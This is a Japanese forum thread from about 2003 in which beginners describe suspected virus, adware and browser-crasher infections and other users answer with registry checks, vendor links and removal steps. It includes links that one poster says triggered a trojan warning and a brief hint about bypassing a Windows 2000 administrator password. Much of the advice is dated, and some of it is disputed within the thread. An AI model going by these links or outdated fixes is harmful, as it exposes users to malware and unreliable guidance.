Drive Interface=c:\winnt\system32\ias\hiddenrun.exe c:\winnt\system32\ias\mclll.exe

というような値が入っていたんですが
mdll.exe、hiddenrun.exeって
きっと何かしら悪さをするアプリですよね？？
値を無効にしたほうがいいのでしょうか？？

>>615
やられたな。
今から無効にしても他にもやられてるかもな

BKDR_DMSPAMMERAとWARM_RANDEXFに感染したみたいなんですが、
これはどんな被害を及ぼすのですか

>>615
IRC_SERVU.A
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=IRC_SERVU.A&VSect=T
HIDDEN32.EXE=HIDDENRUN.EXE

>>616
>>618
返信ありがとうございます。
やっぱりやられてますかねぇ（；_；）
あとこれと関係あるかわからないですが
マイコンピュータを何気なく開いたらLANでもないのに
'218.165.1.120'のc$ (P:) 　ネットワークドライブ
が見えていました。家のIPとはまったくの無関係です。
（このアドレスはAsia Pacific Network Information Centre）
切断すると消えるのですがネット接続すると少しするとまた現れます。

もう、ハードディスク全部消して再インストールしたほうが
無難でしょうか？？
また今後の対策としてパーソナルファイヤーウォール系（ノートンとか）
入れたほうがよいでしょうか？

ファイヤーウォール入れてないのかよ！
入れろよ。
俺ならクリーンインストールする

と621が言ってました

>>620
アンチウィルスしか入れてませんでした。
不覚です。

すまんです。
tracking cookieって、どんな悪さをするんですか？
悪性とも限らないんでしょうか？

POSSIBLE BROWSER HIJACK ATTEMPTというウイルスに感染しました。
アドウェアなどで削除しても、次にＰＣを起動したときには、
またこのウイルスは作動してしまいます。
他にも何か起動しているのでしょうか？
これを完全に削除するにはどうしたらいいでしょうか？
システムの復元をするしかないのでしょうか？

omepage3.nifty.com/ktsn/AHO.html
2.strangeworld.org/uedakana/sahra7438.jpg
pld.otonabbs.com/sum.html?1/test/img/1053749327424536.jpg
pld.otonabbs.com/sum.html?1/test/img/1053749327424536.jpg

こんな感じのリンクを2chブラウザの画像プレビューで読み込んでしまいました。
sahra7438.jpgがノートン先生にひっかかり、「Js.Trojan.WindowBomb」の
警告が出ました。

ブラクラっぽいので気にしてなかったのですが、問題はその後で、
フレッツISDNのダイアルアップ接続が、5分〜45分ほどの間に
頻繁に切断されるようになりました。（ログには「#41 一時的障害」の表示）

ググッてみたら、NTTの交換機の障害の可能性との記述とあったのですが、
ウイルスの可能性はあるのでしょうか？
ISDNルータの接続を切断する、ウイルスとかトロイといったものはありますか？
教えてエロイ人！
＃今日思わず、プロバイダとNTTに問い合わせてしまいました…。

>>621
トレンドのデータベースで検索してみれ。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=JS_WINDOWBOMB.E
「特に感染マシン上でファイルコピーやレジストリ改変などの
システム改変は行いません。」（シマンテックのDBは「ノートン
使え」というだけで情報がしょぼい）つまり単純に削除でOK
ということ。

ノートンが他に警告出さないなら、ISDNが切れるのは回線障害
の可能性が高いだろ。心配ならトレンドのオンラインスキャンも
して味噌。あとSpybot、Ad-awareなどのアンチスパイも入れて
おく。

ノートンアンチウィルスを常時してたのに何か謎の
ウィルスに感染したらしく、常時ソフトやソフトの起動が
全くできなくなったんですが・・・

ウィルスらしきものに感染した時に
システムが停止して、再起動されました。

>>625
微妙にレス番が違う気がするけど、レスサンキューです。
やっぱり回線障害の可能性が高いでしょうか。
２日前までは全く問題が無かっただけに、ちょっと心配しすぎました。
オンラインスキャン早速試してみますね。
スキャン中に回線が切れませんように（；´Д｀）

すみません。ＰＯＬＹＢＯＯＴ−Ｂに感染してしまったのですが、駆除方法を
いくら見てもさっぱりわかりません。なんとか駆除したいんですが怖くて・・・

どなたかすみませんが方法を教えてください。当方Windows98 ＮＥＣ　valuestar
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionId=1045&submit2=ID%8C%9F%8D%F5
・・・・ここまで見たんですがまるでわかりませんでした。起動用ディスクまでは準備しましたが。

>>629
感染マシンを起動し、「ウイルスバスター」のインストール用CD-ROM内の「Tools」フォルダに含まれる
「vbscan_at.exe」を実行してください。

*CD-ROMをセットして、「Tools」フォルダに含まれる「vbscan_at.exe」をダブルクリックする。
そうすると、自動的に必要なファイルがC:\vbフォルダに解凍されます。

MS-DOS起動フロッピーディスクをセットして、パソコンの電源を入れる。
そうすると、フロッピーディスクからブートして、MS-DOSが立ち上がるから以下のコマンドを入力する。
ブートしないときは、BIOSの設定画面を出して、フロッピーディスクドライブの起動順位を、一番上に持ってくる。

*上で解凍したプログラムを、MS-DOS上で実行する。

A:\>C:　　　　　　　　　　　対象ドライブをC:\に移動
C:\>CD VB　　　　　　　　　フォルダをC:\VBに移動
C:\VB>VBSCAN /P　　　　　　VBSCAN.EXEを /P 起動オプション付きで実行

教えてください
メモ帳がなくなったりインターネットオプションが開かなくなったり
オンラインスキャンもできなかったり更にはスキャンディスクもできないウイルスってありますか？

>>631
レジストリを改変するウイルスかも…
とりあえずオンラインウイルススキャンしてみて。
http://www.symantec.com/region/jp/securitycheck/index.html
http://www.trendmicro.co.jp/hcall/index.asp

>>632
オンラインスキャンできないって書いてあるべ…

>>631
メモ帳が開かないというのはファイルがないのかそれともファイルは存在してるけど
起動できないのか？

ウイルススキャンがアクティブＸコントロールが効かないのでできないです（っ＿・）
インターネットオプションすら開けないので・・
ノートンシステムワークスはもってるんだけど怠けてインストール忘れてた
今そのＰＣは電源切ったところやっぱり起動しません・・・
今もう一台で書き込み中

メモ帳が開かない→参照になるので消えてしまったんだと思います。
アクセサリ→メモ帳でも参照になります。

>>635
こんなの見つけたが…
https://www.netsecurity.ne.jp/article/8/4046.html

それかも
やっちまった・・・・
最悪の部類ぽい
どうりでシステムのＤＬＬが壊れると思った・・・・・・

ｴｲﾒｿ

ウイルスメールが着たんですが、どうすればいいですか？
ページを表示するだけで感染するってのもあるし・・
送信者がＤavidで、件名がＳubuject1 ggqbtってのなんですが・・
重要のマークがついてます。
どう処理すればいいですか？怖くてうかつに触れません。
どなたか教えてください。

>>639　開かず削除。

早とちりでした。
お騒がせしてすいません。

本当に初心者で申し訳ないのですが、エロサイトでJS.exception.exploitっちゅうのに感染したってノートン君が出てきました。
２時間もかけて二つのオンラインスキャンをしてみましたが、何も検出されませんって出ました。
ほっておいて良いのでしょうか？

感染じゃなくて、ブロックとか検疫だったとかいうオチじゃないよね?

正直、質問の意味も分かりません。それはどうすれば調べられますか？
スキャンして見つからなくても、ウイルスの可能性はあるんでしょうか？

http://www.symantec.com/region/jp/sarcj/data/j/js.exception.exploit.html

へぇー

Panasonic hi-ho、自宅訪問してPCのウイルス診断などを行なうサービス

http://bb.watch.impress.co.jp/cda/news/3528.html

誰か、軽いアンチウイルス・ソフトを紹介して
軽くて、確実にウイルスを検地できて
新しいウイルスに対しても対応が早いやつ、お願い!!

藪さんこんばんは
↓

>>647
マルチかよ

>>639
>>605
うちのところにも来たのだが,
昨日きたのは
件名が、 subject 3 nehgpxp で、送信者が、 Andrew 添付ファイルが、 file.zip
今日来たのが
件名が、 subject 1 eyej で、送信者が、 Michael 添付ファイルが、 file.zip
おお、アンドリューにマイコーか、って全然しらねーよ！即削除！
ウイルスバスターにも引っかからないし、
MIMAILの亜種だと思うが、新種か。

>>650
うちにもまったく同じのがきた。
オンラインスキャンかけても引っかからない。

こないだから３回ほど、lzhとzipの添付ファイルが一個づつ付いたメールが来る。
ノートンに引っかからない。これ何だろうね？
本文なし、Subjectは忘れちゃったよ。

初めてカキコミさせていただきます。
最近友人のパソコンで「文字化け」「ウィンドウがガンガン出てくる」「アウトルックが勝手に起動される」
「キーボードの設定が勝手に変わっている」などの異常が起こるようになってしまいました。
原因は良く解っていないのですが、これってウィルスなんでしょうか？
友人はノートンの最新定義で検疫したと言っていたのですが…。
御存知の方がいらっしゃいましたら、よろしくご教授ください。

HD内に「folder.htt」というファイルが増殖するのですが、これはウィルスが原因でしょうか？

ええ、間違いなく

どういったウィルスにやられているのでしょうか？
また、対処法はありますか？

ググれ馬鹿珍
http://www.google.co.jp/search?num=100&hl=ja&lr=lang_ja&q=folder%2Ehtt

すみません、調べてもよく意味が分かりません。
放っておくとヤバいですか？

たかだか8分でちゃんと調べたって言えるのかぁ？

すみません。質問なんですが、誰かが会社のＰＣでネットしていたらしく
ウィルスが入ってきました。
とりあえず、無料のアンチウィルスソフトで治療したのですが、ネットに
繋ぎっぱなしにしていると定期的に（9時きっかり）エロサイトが開いてしまいます。
これってどうやって直していいんでしょうか？
ＰＣ初心者ばかりな為、具体的な対処法が皆わかりません。
お願いします。

>>660
バスターかノートン買いなさい。

どれを調べても、意味が分かりそうもないので助けて欲しいです。
少しアドバイスをいただければと思うのですが。

>>661
それが1番いいんですかね？無料じゃ対処できないってことですか。
でも個人のＰＣなら問題ないんですが、会社のＰＣの為、面倒な手順を
色々としなければならなく、その部署の責任者である私が何かしらの罰を
受けてしまうためにここに相談しに来たんですが・・・。

>>663
企業で業務に使用しているPCにアンチウイルス入れてなくて、ウイルスに
感染して得意先に迷惑かけたら信用問題でしょ。
そんな事が起こったら、責任者の藻前が責任取ることになるよ。

エロサイトが勝手に開くのはPC初心者板に専用スレがあるから、そっちで聞くといい。
・エロサイト見たら･･･助けてください！
http://pc.2ch.net/pcqa/

ウィルスの名前くらい出してくれ。
駆除したんならわかるべ。

>>664
ありがとうございます。
そうなんです。確かに信用問題に繋がってしまいますから、現在は
修復するために使用していない状況です。

一応そっちのスレに聞いてみます。ありがとうございます。

>>665
ウィルスの駆除をしたのは私がいないときにしてしまった為、確認が
取れていません。すみません。情報不足で・・・。

質問させて下さい。
OSはWindows98なんですが、突然ブラウザを閉じる際のマーク“×”
とかが“r”とか数字の“6”になっています。
ノートンでは反応無しだったんですが、コレって何なんでしょうか？
ご存知の方がおられましたら、ご回答のほど宜しくお願いいたします。

>>667
http://www.google.com/search?lr=lang_ja&q=%95%C2%82%B6%82%E9%81%40%8D%C5%91%E5%89%BB%81%40%8D%C5%8F%AC%89%BB

お願いですどなたか教えてください。
最近My Documentsの中に保存してあるワードの文書の
コピー（？）みたいな

WRLなんとか.tmp

というのが以上に多いのですが、これウイルスですよね？？
どうすればいいのでしょうか。
私PCが全く初心者な高校生で何も分かりません。
ウイルスかどうかなのだけでも教えていただけないでしょうか。
お願いします。

≫668様
早速のご回答有難うございます。
会社のPCですので明日、早速実行してみたいとお思います。
有難うございましたm(__)mﾍﾟｺﾘ

夕べ、ネット中に突然IEのブラウザが無数にたちあがりだしました。
すごいスピードでウィンドウが乱立するんです。
ウイルスだーっと思い、全部スキャンかけたんですが何も検出されません。
これってウイルスでなくただのエラーでしょうか？
怖くて家でネットできません（泣）
いつも行っている友人のサイトを見ていただけで、
ブラクラというわけでもないと思います。。。

>>669
ワードの一時ファイル。

>>671
それだけならまずブラクラくさいがな・・・
ブラクラチェックしてくれる所もある。(ぐぐれよ)
友人のHPがいたずらされている恐れもあるぞ。

開いた窓が広告だったらスパイウエア(アドウエア)の可能性があるな。
PFWとスパイウエア駆除ソフトは入れているのかい？
フリーでも有料でもいいから入れろよ。
そのための参考スレはここネット関係にｲﾊﾟｰｲある。
スパイウエア駆除ソフトはspybotが一応お勧め。
PFWはいっぱいあるが、どれも一長一短がある。
とりあえずなら、ZoneAlarmがいい。(英語だ。バージョンによっては日本語化できる)
後、ここが参考になるかもナ。
ttp://higaitaisaku.web.infoseek.co.jp/menu5.html

ジョークソフトというのもある。(その名の通り)

ハッキング→いたずらの可能性もある。

情報が足りないよ。もっと書け。

>>673
ありがとうございます。
いろいろ調べてみたんですが、状況的にはブラクラっぽいですよね…
原因は謎ですが、とりあえずチェッカー入れてみました。
スパイウェアの方もDLしてみようと思います。

パソコンを立ち上げるたびにhttp://www.idgsearch.com/Diet+Pills.htmlと
http://www.idgsearch.com/Party+Poker.htmlのショートカットがさくせいされ
エクスプローラのホームページがかきかえれれてしまいます。
また知らないアドレスがお気に入りに追加されます。
どうしたらいいでしょうか。

http://www.symantec.com/region/jp/sarcj/data/t/trojan.digits.html
http://www.spywareinfo.com/~merijn/cwschronicles.html
ｱﾁｬｰ

ありがとうございます。
ウイルスなんですね。
対策ソフトで検索できますか？

>>672
あ、そうなんですか！
ありがとうございました・・！ホッとしました。
それなら消しても大丈夫ですよね。全部削除します。

毎日Klezを送ってきます。
全然知らないアドレスです。
こちらからメールすると、私のアドレスを
知られてしまうので連絡したくありません。
どうしたらいいでしょうか。

プロバイダに連絡汁。

>680
いまプロバイダにメールしました。
「そちらのプロバイダを利用してる人から
ウィルスメールが来て迷惑してます」って。
でも、この人のアドレスから送信されていても
この人が犯人とは限らないんですよね…。
なんで感染したままで平気な人がいるのか不思議です。
プロバイダには連絡しましたが、これできちんと
連絡が行ってなんとかなるものなのでしょうか？
とにかく今日はひとつ勉強になりました。
680さんありがとうございました。

すいません、Invalid TCP Source Portとは何でしょうか？
三日に一度、こういったアタックが来るのですが・・

>>682
これだろ。
http://service1.symantec.com/support/INTER/entsecurityjapanesekb.nsf/jp_docid/20031009200528949?OpenDocument&dtype=corp
> これらの攻撃によってシステムがダメージを受ける可能性はほとんどありません。
> このシグネチャでは、送信元ポートが 0 番の TCP パケットを検出します。
> ポート 0 番は、TCP の発信元ポートとして通常は使用されません。

ついさきほど気づいたのですが、
ＰＣ内のすべてのテキストファイルが、参照すると
■■■■(←これの半角の文字)になってしまいます。

全角文字だけが、全てこのようになってしまうようです。
テキストエディタで、日本語変換して確定した時点で■■■■
になってしまいます。

ただし、その■■■■をこの投稿欄にコピペすると、正しく表示されます。

ウイルスでしょうか？
ご存知の方、いらっしゃいましたら教えてください。

>>684
テキストのフォントをいじったんじゃないの？

>685
レスありがとうございます。

フォントファイル自体を消してしまった可能性ということでしょうか。
それとも、テキストファイルのフォントを指定するという設定項目
というものはありましたっけ？
探してみます。

書き忘れていましたが WINDOWS-2000 + SP4 です。

画面のプロパティ−［デザイン］を見たのですが、
ここでは変えられませんでした。
よろしければどこで変えるのか教えてください。

>>687
セーフモード試してみな。

というかウイルス関係なさそうなので、PC初心者板へどうぞ。

PC初心者
http://pc2.2ch.net/pcqa/

質問させていただきます。
ウイルスを実行してしまったようなので、上のほうで紹介されていたオンラインのチェッカーでしらべたところ、
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_WINUR.C

とでました。WORM_WINUR.Cという名前だとあったのですが、ほかのページを調べても、あまり検索できませんでした。

調べたサイトはTrend Micro ウイルス情報なのですが、あわせてSymantec Security Responseでやってみると、何もひっかかりませんでした。

それで、とりあえず、一方でひっかかったので、削除できるのかなあと、
削除方法に従って、レジストリ？？？をみたのですが、

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
値：Windir = "C:\windows\winrun.exe"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
値:Sysdir = "C:\winnt\winrun.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
値：winrun = "C:\windows\winrun.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
値：winur = "C:\winnt\winrun.exe"

これらが出てきません。というか、見つけられていないだけなのかもしれません・・・
どなたかどう試せばよいか教えていただけないでしょうか。ＯＳはme です。

ウイルスにHDDの一部のデータが消されてしまいました。
それで「復元」というソフトをつかって、復元しようとおもったのですが
どれをどこに復元すればいいかわからないのがほとんどです。
何か復元方法はありますか？

何か復元方法はありますか？ →何か良い復元方法はありませんかね？

　

>>689

すいません。Symantec Security Responseでやってもウイルスとでました。
でも、あいかわらず削除方法がわからないのですが（泣）

>>689
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

この２つのキーを 『レジストリ　ファイルの書き出し』 して、内容を晒してみそ。

>>689
C:\windows\winrun.exe
それで、このプログラムはあったの？
デフォルトでは無いもんなんだが！

すいません。この度ＯＳがウィンドウズ２０００ｐｒｏなのですが
起動してパスワード入力までして　そこまでは問題なにのですが
その後レジストリの読み込みエラー　復元不可能なエラーがでました
みたいな　エラーが出て全てでは無く一部分以外が立ち上がらなく
なってしまいました。
リカバリーディスクも無く　アウトルックの中身も
見れなくなり困っています。

なにか良い復元方法は無いものでしょうか？

もし宜しければご回答お願いいたします

うーむ、日本語が･･･

>>694

ありがとうございます。
レジストリの書き出しってどうやるんですか？
保存場所とかでてきたのですが・・・

あほですいません。。。

僕がやったのは
レジストリエディタをファイル実行でだしてきました。
そうすると、メニューバーのところにレジストリというのがあるので
そこをクリックすると、レジストリファイルの書き込みというのがでてきますよね？

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

そこからどうしたらいいのでしょうか？？？

あ、すいません。いみがわかりました・・・
一個目の　
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
が
REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"ctfmon.exe"="ctfmon.exe"

二個目のHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runが

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run]
"ScanRegistry"="C:\\WINDOWS\\scanregw.exe /autorun"
"TaskMonitor"="C:\\WINDOWS\\taskmon.exe"
"PCHealth"="C:\\WINDOWS\\PCHealth\\Support\\PCHSchd.exe -s"
"SystemTray"="SysTray.Exe"
"LoadPowerProfile"="Rundll32.exe powrprof.dll,LoadCurrentPwrScheme"
"CPQEASYACC"="C:\\Program Files\\Compaq\\Easy Access Button Support\\cpqeadm.exe"
"EACLEAN"="C:\\Program Files\\Compaq\\Easy Access Button Support\\eaclean.exe"
"Digital Dashboard"="C:\\Program Files\\Compaq\\Digital Dashboard\\DevGulp.exe"
"Watch Dog Program"=""
"Hidserv"="Hidserv.exe run"
"OEMCLEANUP"="C:\\WINDOWS\\OPTIONS\\oemreset.exe /o"
"WinampAgent"="\"C:\\Program Files\\Winamp3\\winampa.exe\""

二個目の続きです。
"QuickTime Task"="\"C:\\WINDOWS\\SYSTEM\\QTTASK.EXE\" -atboottime"
"TkBellExe"="\"C:\\Program Files\\Common Files\\Real\\Update_OB\\realsched.exe\" -osboot"
"CnsMin"="Rundll32.exe C:\\WINDOWS\\DOWNLO~1\\CNSMIN.DLL,Rundll32"
"mps"="C:\\WINDOWS\\SYSTEM\\mps.exe /s"
"MPTBox"="C:\\Program Files\\Canon\\MultiPASS4\\MPTBox.exe"
"LoadQM"="loadqm.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\OptionalComponents]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\OptionalComponents\IMAIL]
"Installed"="1"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\OptionalComponents\MAPI]
"Installed"="1"
"NoChange"="1"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\OptionalComponents\MSFS]
"Installed"="1"
です。

＞"CnsMin"="Rundll32.exe C:\\WINDOWS\\DOWNLO~1\\CNSMIN.DLL,Rundll32"
あ。

>>702

私への返信をしていただいてるんですよね？
>>701の３行目

"CnsMin"="Rundll32.exe C:\\WINDOWS\\DOWNLO~1\\CNSMIN.DLL,Rundll32"

これがアカンということでしょうか。

>>703
ttp://higaitaisaku.web.infoseek.co.jp/removecnsmin.html
ここ見て、がんばって駆除してくれ。

ちょっと質問させてください。昨日からタスクバーに
黄色のメールマーク形で中から血？が流れているようなアイコンが
ありまして…ポイントしても右クリックしても何にも反応しないんですが
これはウイルスだと考えて差し支えないのでしょうか？

念のためトレンドマイクロのオンラインスキャンにもかけてみたんですが
ウイルスだとは検知されませんでした。タスクバーのプロパティを開いてみると
＜タイトルなし＞と表示されています。

自己解決しました…それにしてもあまりにも間抜けです。
何の事はない、ウイルスセキュリティ2004のメールチェック機能のマークでした。

しかし、黄色地にK7（開発元の「K7コンピューティング」のK7か？）と
赤文字で書いてあるアイコンはちょっと不気味…。
せめて右クリックとかダブルクリックした時くらいは反応してくれ…。

概出のウィルスなんですがHTML_SUAR.Aというのに感染しました。
AVG Free Editionを使ってみたのですが認識しないようです。
どうすれば駆除出来るのでしょうか？

シマンテック、トレンドマイクロのWebで調べて駆除する。

あのぉ〜・・・
WIN2Kで管理者パスワード無効にする方法ってNTFSを読めるソフトを落としてくればできるんですけど・・・。
FATだったらDOSプロンプトでもできます。
ただ、それって多分ほとんどの人が知らないからこういう場所で言ってよいのかどうか・・・
管理人さんが、投稿後２４時間以内に削除してくれる確約があれば公表してもよいですが・・・。
っていうか、最終投稿が１１月１２日で１ヶ月も前だから誰も読まないか・・・

(ﾟдﾟ)ﾊｧ?

あれ？？？？？？？？？？？？
ぜんぜん違うところに投稿されてる・・・？？？
ごめんなさい、無視ってください。

>>709　>>711
何かの亡霊が出たか？と一瞬焦ったなり。

>>707

HTML_SUAR.Aは広義のウィルスですがブラウザークラッシャーの一種なので
悪質ＨＰを見た時点で悪さをするだけです。駆除の必要はないですが気持ち
悪いなら手動で削除してください。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=HTML_SUAR.A

>>707
アンチドートもお勧めです

>>713
じゃぁ気持ち悪いので薮パソユーザー ◆0fQkHdNop2を
NGワードに入れて削除します。

W32.Pinfiというウイルスに感染していたので、ノートンで修復したのですが
「bfq1EC.temp」というこのウイルスに感染したファイルだけは
修復も検疫も出来ませんでした。

そこでこのファイルは削除してしまおうと思ったのですが、このファイルは
削除しても大丈夫なのでしょうか？

薮パソユーザー ◆0fQkHdNop2さん
あなたはマイクロソフトの技術情報をあげて虚偽を指摘されても
http://pc.2ch.net/test/read.cgi/sec/1068471471/102　取り消そうとしないばかりか、
http://pc.2ch.net/test/read.cgi/sec/1068471471/110

名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 11:43
> 本当にしつこい馬鹿がいますね。

等々の暴言を吐いて逆に指摘者を誹謗していますね。上記はあなたが広めた虚、暴言
のほんの一例です。「Outpostファイアウォールはデフォールトでブラスタに無効」など
実害のあるデマは数えればきりがありません。初心者部外者も多い質問板の性質上放置
できません。虚偽の取り消しと暴言の謝罪をお願いします。

以上、何度かお願いしてまいりましたが、まだ回答をいただいておりません。

アウポスレで書けヴァカ

>>718　
ま、そのテンプレちょっと古い。しかし藪パソが口から
デマカセ撒きちらして、指摘されても強情張って訂正
せず、質問者にも回答者にもが迷惑なヤシだということ
は事実。ここらで藪を擁護するのは藪しかおらん。お前を
藪パソのｼﾞｴﾝと認定する。

Windows Updateの不具合のことなんだけど、MSサイトでは解消したと
書かれているが、おれんとこまだだめだよ。
そんなヤツいない？

>>720
WIN板のWindows updateスレへどぞー。

質問です。
パソコンをしているときに、色々な場面で勝手にダイヤルアップIP接続
をはじめてしまいます。
あと、インターネットをしていると「＊＊＊に問題が生じました。再起動して、
問題を解決してください。」という画面が頻繁に出てくるようになりました。
あと、動作しなくなり、強制終了を余儀なくされることが多々あります。
これは、ウイルスや、ブラクラといったものなんでしょうか？
そうだとしたらどのように解決したらいいでしょうか？

>>722
IEでエロサイトうろつかないことです。

ウィルスやブラクラっつーよりスパイウェアっぽいので
スパイウェア予防駆除関連ソフトのスレッド探して、テンプレ熟読のこと。
関連サイトに書いてあることをやれば多分大丈夫。

くれぐれも質問なんかするなよ。
「テンプレ嫁」と一蹴されるからな。

あとは念のためウィルス対策ソフトを導入して、ウィルスチェックもしておけ。
なんか見つかったら駆除（削除）も忘れずに。

対処終了後は＞723の言うことを遵守すること。

さっきスクリーンセーバー状態にしておいたら
急に電源がぷちっと切れました（（（（;ﾟДﾟ））））
これってスパイウェアでしょうか？恐らくそうですよね。
まずウイルススキャンをしたいので、スパイウェアも感知できる
おすすめのところを教えていただけないでしょうか。お願いします！

>>725
>>1からのテンプレ参照。

>>726
レスありがとうございました。
シマンテックをやってみました。ゼロでした。
でも今度は画面の一部分（数ｃｍくらい横に、細く）ぐらぐら揺れます。
ちなみにこれは結構前からもあったんですが・・・。
ウイルスが無いのにこれっておかしいですか？
メモリ不足と言われることもあるんですが、これは関係ありますか？

すみませんどなたかお願いします。

>>727
モニタとPC本体の近くに電磁波出すようなもの置いてない？
本体の方の電源とか不安定じゃないか確認してみ。

ウイルスなど可能性が低いので、次の質問からはPC初心者板にどうぞ。

>>728
レスありがとうございます！
はーなるほど・・・今まで電磁波という発想が全然ありませんでした。
とりあえず整理してみたら治まりました。
ほんとありがとうございました！！
はい、次からはPC板に行きます。

>>729は近くに何置いてたんだろう。電子レンジ？

1にあるSymantecのサイトのウィルス検索開始しても３秒くらいで
チェックの画面から戻ってきてしまうんですが、なぜですか？